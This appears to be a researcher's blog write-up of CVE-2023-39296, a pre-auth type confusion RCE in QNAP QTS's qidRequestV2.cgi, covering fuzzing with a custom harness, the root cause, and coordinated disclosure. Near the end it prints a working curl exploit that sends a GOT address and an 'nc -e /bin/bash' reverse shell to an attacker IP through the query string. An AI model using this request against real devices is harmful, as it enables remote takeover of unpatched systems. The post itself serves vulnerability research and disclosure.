Adventures in QNAP RCEs - Part 1

January 8, 2026

Background and target selection

This post outlines the first of two remote code execution (RCE) bugs I found in QNAP's QTS operating system. I disclosed this bug to SSD Disclosure (X) who assigned it CVE number 2023-39296.

Back in early summer 2023, the Zero Day Initiative released the target list for the annual, IoT Pwn2Own competition. As a budding security researcher, the event seemed like a good opportunity to sharpen and showcase my skills on a relatively soft set of targets while also (hopefully) receiving compensation for my work. Shortly after the targets were released I decided to focus on the QNAP TS-494 NAS. 2023 was the first year any QNAP NAS was on the target list, which I hoped might translate in more shallow bugs. QNAP also maintains their own bug bounty program, so theoretically I could report non-RCE security issues and still be paid. While I did not end up participating in p2o, I did successfully find and exploit two RCEs that would have qualified. This and the following blog post outline these two bugs.

Pre-auth attack surface

Thankfully, security research is quite easy on QNAP devices. You can enable root/ssh access through the web interface, so there is no need for more in depth hardware techniques. With root access I used scp to get a copy of the filesystem, and to copy a statically-compiled gdbserver to the device for debugging.

I started with the most obvious, as well as the most critical attack surface: the http server and especially the cgi binaries it exposes. Each cgi endpoint is a standalone binary written in C and potentially vulnerable to memory corruption bugs. However, requests to cgi endpoints are "one shot", in that each request starts the binary with a separate call to exec(). This makes bypassing ALSR quite difficult, since a randomized base address will be recalculated on each new request. However, while the stack, heap, and library addresses were all randomized, the cgi binaries were not compiled with PIE. A good enough memory corruption bug could therefore still get RCE since addresses in the binary itself remain consistent across runs. Fortunately, I found a good enough bug.

Rather than gate all post-auth routes behind some centralized auth, each individual cgi binary is itself responsible for enforcing auth. Since p2o rules dictate that the exploit must be fully pre-auth, I methodically went through and reversed each cgi endpoint to ensure auth was properly enforced and to enumerate reachable attack surface. While auth was well enforced across cgi endpoints, one endpoint in particular (/cgi-bin/qid/qidRequestV2.cgi) would parse user-provided json data before checking auth. Without many other options, I decided to fuzz the json parsing implementation.

QNAP's json parsing is based heavily on the MIT-licensed json-c library. json-c is a well-tested and well-fuzzed project, but there is always the possibility that QNAP's implementation makes significant changes or is extremely out of date. I've had success fuzzing out of date/modified versions of open source libraries (especially MIT-licensed libraries in which the vendor is not required to release source) in bug bounty programs in the past so I figured I would try my luck here as well.

I wrote a basic fuzzing harness in C to mimic the json parsing functionality in qidRequestV2.cgi. After loading the relevant functions from QNAP's json-c implementation in libqcloud.so, the harness performs the following:

...
json_obj = json_tokener_parse_string(afl_buf);
json_string = json_object_new_string("cgi_value");
json_object_object_add(json_obj, "cgi_param", json_string); 
...

After compiling the harness and fuzzing with afl-qemu I immediately starting finding crashes. In fact, many test cases in my seed corpus caused crashes. Initially I assumed that I had somehow introduced a memory corruption bug in my harness, but after some debugging, it became clear that the problem in fact stemmed from QNAP's improper usage of the json-c library. In summary, qidRequestV2.cgi failed to check the json_type field of the json_object returned by json_tokener_parse_string. This results in a type confusion bug that could fairly easily result in rip control and remote code execution.

Technical details

The json-c function json_tokener_parse_verbose iterates through a provided JSON string, and constructs a JSON object. The json-object structure is defined as follows:

struct json_object {
    enum json_type o_type;
    json_func *_delete;
    json_func *_to_json_string;
    int ref_count;
    struct printbuf *pb;
    union data {
        boolean c_boolean;
        double c_double;
        int c_int;
        struct lh_table *c_object;
        struct array_list *c_array;
        char *c_string;
    } o;
};

The json_object->o union field allows a json_object to represent a variety of different data types. The data type held by each json_object is indicated in the o_type field. While processing a JSON string, json_tokener_parse_verbose will read the first few characters of the JSON string, and set the o and o_type fields. For example the string: string {} will return a json_object with o_type set to json_type_string and o set to a pointer to "string", while the string 1234 {} will return a json_object with o_type json_type_int and o set to the integer value 1234.

When parsing requests to /cgi-bin/qid/qidRequestV2.cgi, the binary first parses POST data into a json object, and then iterates through each query parameter/value and adds them as key/value pairs to the json object. As I implemented in my fuzzing harness, the (simplified) code looks like this:

json_obj = json_tokener_parse_verbose(json_string);
…
json_string = json_object_new_string(cgi_value);
json_object_object_add(json_object, cgi_param, json_string);

When parsing json data, the binary did not check the o_type field before attempting to add values from the query string. Instead, it assumed that json_tokener_parse_verbose returns a json_object with o_type json_type_object. The call to json_object_object_add therefore treats json_object->o as pointer to a struct lh_table. However since the attacker controls the POST data, they can instead pass a json integer or string value, which will then be interpreted as a pointer to a struct lh_table. This is especially dangerous since json_object_object_add calls a function pointer in lh_table (json_object->o->hash_fn() or, equivalently, lh_table->hash_fn()). The JSON string 702111234474983745 {}, for example, will cause json_object_object_add to attempt to dereference an lh_table at the attack-provided address 0x4141414141414141. Since qidRequestV2.cgi was compiled without PIE, we can pass the location in the binary of the global offset table. Then, the function call json_object->o->hash_fn() will call one of the function pointers stored in the GOT. By positioning the location to slightly before the location of, say, system, json_object->o->hash_fn() will call system(). To make exploitation even easier, we also control the value of cgi_param via the query parameters, which becomes the first argument to json_object->o->hash_fn(). Thus the following curl request will spawn a reverse shell:

GOT_ADDR=0x400400
curl -X POST -H "Content-Type: application/json" -d "$GOT_ADDR {}" "{NAS_IP}:8080/cgi-bin/qid/qidRequestV2.cgi?nc%20-e%20%2fbin%2fbash%20192%2e168%2e4%2e1%204444=value"

Postscript: disclosure and fix

As it happens, I found the RCE far sooner than I was expecting, and there was still several months before p2o. I went back and forth about whether or not I wanted to save it for p2o and eventually settled on disclosing it via SSD Disclosure. The rules around duplicates at p2o confuse me and I was also worried that a patch would fix or break my exploit. SSD offered what I considered a pretty generous bounty, plus they were communicative and consistently quick to respond. It remains probably the best bug bounty experience I have had, though given the somewhat limited scope and specific focus on RCEs, I have not had the opportunity to work with them since.

As it happens, I definitely made the right decision, as an update was released shortly after I found the bug (but before it was fully fixed) in which all cgi binaries had been recompiled with PIE. Without known offsets into the binary, exploiting it would have been extremely difficult. The bug was assigned CVE-2023-39296 and SSD Disclosure released an advisory based on my technical overview. Probably unsurprisingly, QNAP fixed the bug by adding code to check json_object->o_type before calling json_object_object_add. In fairness to QNAP, it seems like a relatively easy mistake to make and it definitely will be something I check when auditing future codebases that make use of json-c.